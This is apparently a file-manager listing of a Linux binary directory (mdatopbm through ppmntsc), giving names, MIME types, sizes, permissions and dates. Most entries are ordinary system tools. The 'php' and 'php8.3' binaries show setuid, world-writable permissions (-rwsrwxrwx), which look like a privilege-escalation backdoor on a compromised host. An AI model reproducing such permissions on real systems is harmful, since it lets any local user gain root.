md5sum.textutils
application/x-pie-executable
42.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
mdatopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
mdig
application/x-pie-executable
50.4 KB
-rwxr-xr-x
2026-05-21 02:42:08
memusage
text/x-shellscript
7.32 KB
-rwxr-xr-x
2026-07-24 12:11:17
memusagestat
application/x-pie-executable
22.37 KB
-rwxr-xr-x
2026-07-24 12:11:17
mesg
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mgrtopbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
migrate-pubring-from-classic-gpg
text/x-shellscript
2.99 KB
-rwxr-xr-x
2021-12-18 09:45:14
mk_modmap
text/x-shellscript
15.78 KB
-rwxr-xr-x
2022-12-16 02:14:33
mkdir
application/x-pie-executable
66.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
mkfifo
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
mknod
application/x-pie-executable
42.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
mksquashfs
application/x-pie-executable
254.68 KB
-rwxr-xr-x
2022-03-25 09:58:38
mktemp
application/x-pie-executable
38.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
mmcli
application/x-pie-executable
273.84 KB
-rwxr-xr-x
2024-07-18 02:24:32
mogrify
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
mogrify-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
mogrify-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
montage
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
montage-im6
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
montage-im6.q16
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2024-07-19 08:37:45
more
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mount
application/x-pie-executable
46.38 KB
-rwsr-xr-x
2026-03-06 04:10:04
mountpoint
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
mt
application/x-pie-executable
66.73 KB
-rwxr-xr-x
2024-04-28 12:30:36
mt-gnu
application/x-pie-executable
66.73 KB
-rwxr-xr-x
2024-04-28 12:30:36
mtr
application/x-pie-executable
72.25 KB
-rwxr-xr-x
2022-01-11 12:46:46
mtr-packet
application/x-pie-executable
38.3 KB
-rwxr-xr-x
2022-01-11 12:46:46
mtrace
text/x-perl
6.43 KB
-rwxr-xr-x
2026-07-24 12:11:17
mtvtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
mv
application/x-pie-executable
134.52 KB
-rwxr-xr-x
2026-01-23 10:51:17
my_print_defaults
application/x-pie-executable
171.24 KB
-rwxr-xr-x
2026-06-20 11:54:34
myisam_ftdump
application/x-pie-executable
6.35 MB
-rwxr-xr-x
2026-06-20 11:54:34
myisamchk
application/x-pie-executable
6.55 MB
-rwxr-xr-x
2026-06-20 11:54:34
myisamlog
application/x-pie-executable
6.38 MB
-rwxr-xr-x
2026-06-20 11:54:34
myisampack
application/x-pie-executable
6.41 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysql
application/x-pie-executable
6.65 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysql_config_editor
application/x-pie-executable
157.03 KB
-rwxr-xr-x
2026-06-20 11:54:34
mysql_migrate_keyring
application/x-pie-executable
6.54 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysql_secure_installation
application/x-pie-executable
6.47 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysql_ssl_rsa_setup
application/x-pie-executable
194.9 KB
-rwxr-xr-x
2026-06-20 11:54:34
mysql_tzinfo_to_sql
application/x-pie-executable
74.91 KB
-rwxr-xr-x
2026-06-20 11:54:34
mysql_upgrade
application/x-pie-executable
6.55 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqladmin
application/x-pie-executable
6.5 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlanalyze
application/x-pie-executable
6.49 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlbinlog
application/x-pie-executable
6.8 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlcheck
application/x-pie-executable
6.49 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqld_multi
text/x-perl
26.73 KB
-rwxr-xr-x
2026-06-20 11:54:34
mysqld_safe
text/x-shellscript
28.45 KB
-rwxr-xr-x
2026-06-20 11:54:34
mysqldump
application/x-pie-executable
6.58 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqldumpslow
text/x-perl
7.54 KB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlimport
application/x-pie-executable
6.48 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqloptimize
application/x-pie-executable
6.49 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlpump
application/x-pie-executable
6.85 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlrepair
application/x-pie-executable
6.49 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlreport
text/x-perl
38.1 KB
-rwxr-xr-x
2025-11-18 08:53:19
mysqlshow
application/x-pie-executable
6.49 MB
-rwxr-xr-x
2026-06-20 11:54:34
mysqlslap
application/x-pie-executable
6.5 MB
-rwxr-xr-x
2026-06-20 11:54:34
namei
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
nano
application/x-pie-executable
276.52 KB
-rwxr-xr-x
2026-06-03 10:51:38
nawk
application/x-pie-executable
688.46 KB
-rwxr-xr-x
2026-07-20 10:38:47
nc
application/x-pie-executable
38.63 KB
-rwxr-xr-x
2022-02-23 11:09:43
nc.openbsd
application/x-pie-executable
38.63 KB
-rwxr-xr-x
2022-02-23 11:09:43
neotoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
neqn
text/x-shellscript
913 B
-rwxr-xr-x
2022-03-23 01:56:30
netcat
application/x-pie-executable
38.63 KB
-rwxr-xr-x
2022-02-23 11:09:43
networkctl
application/x-pie-executable
102.38 KB
-rwxr-xr-x
2026-06-05 03:40:28
networkd-dispatcher
text/x-script.python
19.71 KB
-rwxr-xr-x
2022-05-04 01:29:43
newgrp
application/x-pie-executable
39.55 KB
-rwsr-xr-x
2024-02-06 12:54:23
ngettext
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2022-03-25 10:31:07
nice
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
nisdomainname
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2022-03-23 01:57:59
nl
application/x-pie-executable
98.57 KB
-rwxr-xr-x
2026-01-23 10:51:17
nm
application/x-pie-executable
43.63 KB
-rwxr-xr-x
2025-12-03 03:08:01
node
application/x-executable
87.17 MB
-rwxr-xr-x
2025-03-27 01:05:59
nodejs
application/x-executable
87.17 MB
-rwxr-xr-x
2025-03-27 01:05:59
nohup
application/x-pie-executable
34.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
notify-send
application/x-pie-executable
18.23 KB
-rwxr-xr-x
2022-04-27 09:23:22
npm
application/javascript
54 B
-rwxr-xr-x
2022-10-11 10:59:35
nproc
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
npx
application/javascript
2.85 KB
-rwxr-xr-x
2024-05-09 10:00:41
nroff
text/x-shellscript
3.22 KB
-rwxr-xr-x
2022-03-23 01:56:30
nsenter
application/x-pie-executable
26.6 KB
-rwxr-xr-x
2026-03-06 04:10:04
nslookup
application/x-pie-executable
118.82 KB
-rwxr-xr-x
2026-05-21 02:42:08
nstat
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-04-15 07:15:26
nsupdate
application/x-pie-executable
74.55 KB
-rwxr-xr-x
2026-05-21 02:42:08
ntfs-3g
application/x-pie-executable
159.01 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfs-3g.probe
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfscat
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfscluster
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfscmp
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsdecrypt
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsfallocate
application/x-pie-executable
26.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsfix
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsinfo
application/x-pie-executable
54.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsls
application/x-pie-executable
27.45 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsmove
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsrecover
application/x-pie-executable
106.38 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfssecaudit
application/x-pie-executable
78.86 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfstruncate
application/x-pie-executable
26.3 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfsusermap
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2026-07-11 03:55:48
ntfswipe
application/x-pie-executable
42.91 KB
-rwxr-xr-x
2026-07-11 03:55:48
numfmt
application/x-pie-executable
54.54 KB
-rwxr-xr-x
2026-01-23 10:51:17
nvidia-detector
text/x-script.python
270 B
-rwxr-xr-x
2025-12-10 09:16:48
objcopy
application/x-pie-executable
162.54 KB
-rwxr-xr-x
2025-12-03 03:08:01
objdump
application/x-pie-executable
365.13 KB
-rwxr-xr-x
2025-12-03 03:08:01
od
application/x-pie-executable
66.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
oem-getlogs
text/x-script.python
8.59 KB
-rwxr-xr-x
2025-07-29 03:25:17
on_ac_power
text/x-shellscript
3.7 KB
-rwxr-xr-x
2025-06-04 02:47:30
open
text/x-perl
18.06 KB
-rwxr-xr-x
2026-07-03 01:05:05
openssl
application/x-pie-executable
977.8 KB
-rwxr-xr-x
2026-07-29 04:56:04
openvt
application/x-pie-executable
22.59 KB
-rwxr-xr-x
2022-12-16 02:14:33
os-prober
text/x-shellscript
4.44 KB
-rwxr-xr-x
2021-07-11 02:43:50
pager
application/x-pie-executable
194.38 KB
-rwxr-xr-x
2024-04-27 08:32:45
palmtopnm
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamcut
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamdeinterlace
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamdice
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamfile
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamoil
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamstack
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamstretch
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pamstretch-gen
text/x-shellscript
1.31 KB
-rwxr-xr-x
2021-02-07 06:32:35
paperconf
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-03-24 12:14:21
partx
application/x-pie-executable
58.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
passwd
application/x-pie-executable
58.57 KB
-rwsr-xr-x
2024-02-06 12:54:23
paste
application/x-pie-executable
34.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
pastebinit
text/x-script.python
16.12 KB
-rwxr-xr-x
2021-11-24 02:53:34
patch
application/x-pie-executable
186.52 KB
-rwxr-xr-x
2022-03-24 04:22:21
pathchk
application/x-pie-executable
34.51 KB
-rwxr-xr-x
2026-01-23 10:51:17
pbget
text/x-shellscript
2.51 KB
-rwxr-xr-x
2019-08-03 05:35:53
pbmclean
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmlife
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmmake
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmmask
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmpage
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmpscale
application/x-pie-executable
14.13 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmreduce
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtext
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtextps
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmto10x
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoascii
application/x-pie-executable
14.29 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoatk
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtobbnbg
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtocmuwm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoepsi
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoepson
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtog3
application/x-pie-executable
17.13 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtogem
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtogo
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoicon
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtolj
application/x-pie-executable
18.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtomacp
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtomda
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtomgr
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtonokia
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtopgm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtopi3
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoplot
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoppa
application/x-pie-executable
30.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtopsg3
application/x-pie-executable
15.66 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoptx
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtowbmp
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtox10bm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoxbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtoybm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmtozinc
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbmupc
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pbput
text/x-shellscript
2.51 KB
-rwxr-xr-x
2019-08-03 05:35:53
pbputs
text/x-shellscript
2.51 KB
-rwxr-xr-x
2019-08-03 05:35:53
pcxtoppm
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pdb3
text/x-script.python
61.74 KB
-rwxr-xr-x
2026-06-22 06:55:27
pdb3.10
text/x-script.python
61.74 KB
-rwxr-xr-x
2026-06-22 06:55:27
pdf2dsc
text/x-shellscript
698 B
-rwxr-xr-x
2025-09-25 04:42:27
pdf2ps
text/x-shellscript
909 B
-rwxr-xr-x
2025-09-25 04:42:27
peekfd
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-24 04:29:37
perl
application/x-pie-executable
3.63 MB
-rwxr-xr-x
2026-06-23 08:11:00
perl5.34-x86_64-linux-gnu
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-06-23 08:11:00
perl5.34.0
application/x-pie-executable
3.63 MB
-rwxr-xr-x
2026-06-23 08:11:00
perlbug
text/x-perl
44.12 KB
-rwxr-xr-x
2026-06-23 08:11:00
perldoc
text/x-shellscript
125 B
-rwxr-xr-x
2021-08-25 06:11:56
perlivp
text/x-perl
10.61 KB
-rwxr-xr-x
2026-06-23 08:11:00
perlthanks
text/x-perl
44.12 KB
-rwxr-xr-x
2026-06-23 08:11:00
perror
application/x-pie-executable
1.46 MB
-rwxr-xr-x
2026-06-20 11:54:34
pf2afm
text/x-shellscript
498 B
-rwxr-xr-x
2025-09-25 04:42:27
pfbtopfa
text/x-shellscript
516 B
-rwxr-xr-x
2025-09-25 04:42:27
pgmbentley
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmcrater
application/x-pie-executable
18.05 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmedge
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmenhance
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmhist
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmkernel
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmnoise
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmnorm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmoil
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmramp
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmslice
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmtexture
application/x-pie-executable
30.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmtofs
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmtolispm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmtopbm
application/x-pie-executable
20.45 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgmtoppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pgrep
application/x-pie-executable
30.24 KB
-rwxr-xr-x
2023-10-31 11:36:04
phar
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
phar.default
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
phar.phar
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
phar.phar.default
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
phar.phar8.3
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 05:44:15
phar.phar8.4
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
phar8.3
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 05:44:15
phar8.3.phar
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 05:44:15
phar8.4
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
phar8.4.phar
application/octet-stream
14.88 KB
-rwxr-xr-x
2025-03-13 03:35:47
php
application/x-pie-executable
5.52 MB
-rwsrwxrwx
2025-03-13 05:44:15
php.default
application/x-pie-executable
5.74 MB
-rwxr-xr-x
2025-03-13 03:35:47
php8.3
application/x-pie-executable
5.52 MB
-rwsrwxrwx
2025-03-13 05:44:15
php8.4
application/x-pie-executable
5.74 MB
-rwxr-xr-x
2025-03-13 03:35:47
pi1toppm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pi3topbm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pic
application/x-pie-executable
200.04 KB
-rwxr-xr-x
2022-03-23 01:56:30
pico
application/x-pie-executable
276.52 KB
-rwxr-xr-x
2026-06-03 10:51:38
piconv
text/x-perl
8.16 KB
-rwxr-xr-x
2026-06-23 08:11:00
pidof
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2021-12-14 09:17:22
pidwait
application/x-pie-executable
30.24 KB
-rwxr-xr-x
2023-10-31 11:36:04
pinentry
application/x-pie-executable
58.65 KB
-rwxr-xr-x
2022-03-24 04:31:21
pinentry-curses
application/x-pie-executable
58.65 KB
-rwxr-xr-x
2022-03-24 04:31:21
ping
application/x-pie-executable
74.88 KB
-rwxr-xr-x
2025-07-24 11:51:44
ping4
application/x-pie-executable
74.88 KB
-rwxr-xr-x
2025-07-24 11:51:44
ping6
application/x-pie-executable
74.88 KB
-rwxr-xr-x
2025-07-24 11:51:44
pinky
application/x-pie-executable
34.41 KB
-rwxr-xr-x
2026-01-23 10:51:17
pjtoppm
application/x-pie-executable
18.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
pkaction
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2026-04-10 10:59:20
pkcheck
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2026-04-10 10:59:20
pkcon
application/x-pie-executable
58.3 KB
-rwxr-xr-x
2026-04-20 12:24:54
pkexec
application/x-pie-executable
30.15 KB
-rwsr-xr-x
2026-04-10 10:59:20
pkill
application/x-pie-executable
30.24 KB
-rwxr-xr-x
2023-10-31 11:36:04
pkmon
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2026-04-20 12:24:54
pkttyagent
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2026-04-10 10:59:20
pl2pm
text/x-perl
4.43 KB
-rwxr-xr-x
2026-06-23 08:11:00
pldd
application/x-pie-executable
22.37 KB
-rwxr-xr-x
2026-07-24 12:11:17
plymouth
application/x-pie-executable
46.3 KB
-rwxr-xr-x
2022-03-18 10:45:18
pmap
application/x-pie-executable
34.24 KB
-rwxr-xr-x
2023-10-31 11:36:04
pngtopnm
application/x-pie-executable
26.11 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmalias
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmarith
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmcat
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmcolormap
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmcomp
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmconvol
application/x-pie-executable
42.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmcrop
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmcut
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmdepth
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmenlarge
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmfile
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmflip
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmgamma
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmhisteq
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmhistmap
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmindex
text/x-shellscript
4.49 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnminterp
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnminterp-gen
text/x-shellscript
1.31 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnminvert
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmmargin
text/x-shellscript
1.73 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmmontage
application/x-pie-executable
18.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmnlfilt
application/x-pie-executable
22.09 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmnoraw
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmnorm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmpad
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmpaste
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmpsnr
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmquant
text/x-perl
3.13 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmremap
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmrotate
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmscale
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmscalefixed
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmshear
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmsmooth
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmsplit
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtile
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtoddif
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtofiasco
application/x-pie-executable
208.05 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtofits
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtojpeg
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtopalm
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtoplainpnm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtopng
application/x-pie-executable
38.09 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtops
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtorast
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtorle
application/x-pie-executable
42.3 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtosgi
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtosir
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtotiff
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtotiffcmyk
application/x-pie-executable
22.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pnmtoxwd
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
pod2html
text/x-perl
4.04 KB
-rwxr-xr-x
2026-06-23 08:11:00
pod2man
text/x-perl
14.68 KB
-rwxr-xr-x
2026-06-23 08:11:00
pod2text
text/x-perl
10.55 KB
-rwxr-xr-x
2026-06-23 08:11:00
pod2usage
text/x-perl
4.01 KB
-rwxr-xr-x
2026-06-23 08:11:00
podchecker
text/x-perl
3.57 KB
-rwxr-xr-x
2026-06-23 08:11:00
pollinate
text/x-shellscript
8.54 KB
-rwxr-xr-x
2018-05-29 08:13:20
pphs
text/x-shellscript
404 B
-rwxr-xr-x
2025-09-25 04:42:27
ppm3d
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmbrighten
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmchange
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmcie
application/x-pie-executable
26.19 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmcolormask
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmcolors
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmdim
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmdist
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmdither
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmfade
text/x-perl
11.39 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmflash
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmforge
application/x-pie-executable
22.03 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmhist
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmlabel
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmmake
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmmix
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmnorm
application/x-pie-executable
14.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
ppmntsc
application/x-pie-executable
18.02 KB
-rwxr-xr-x
2021-02-07 06:32:35
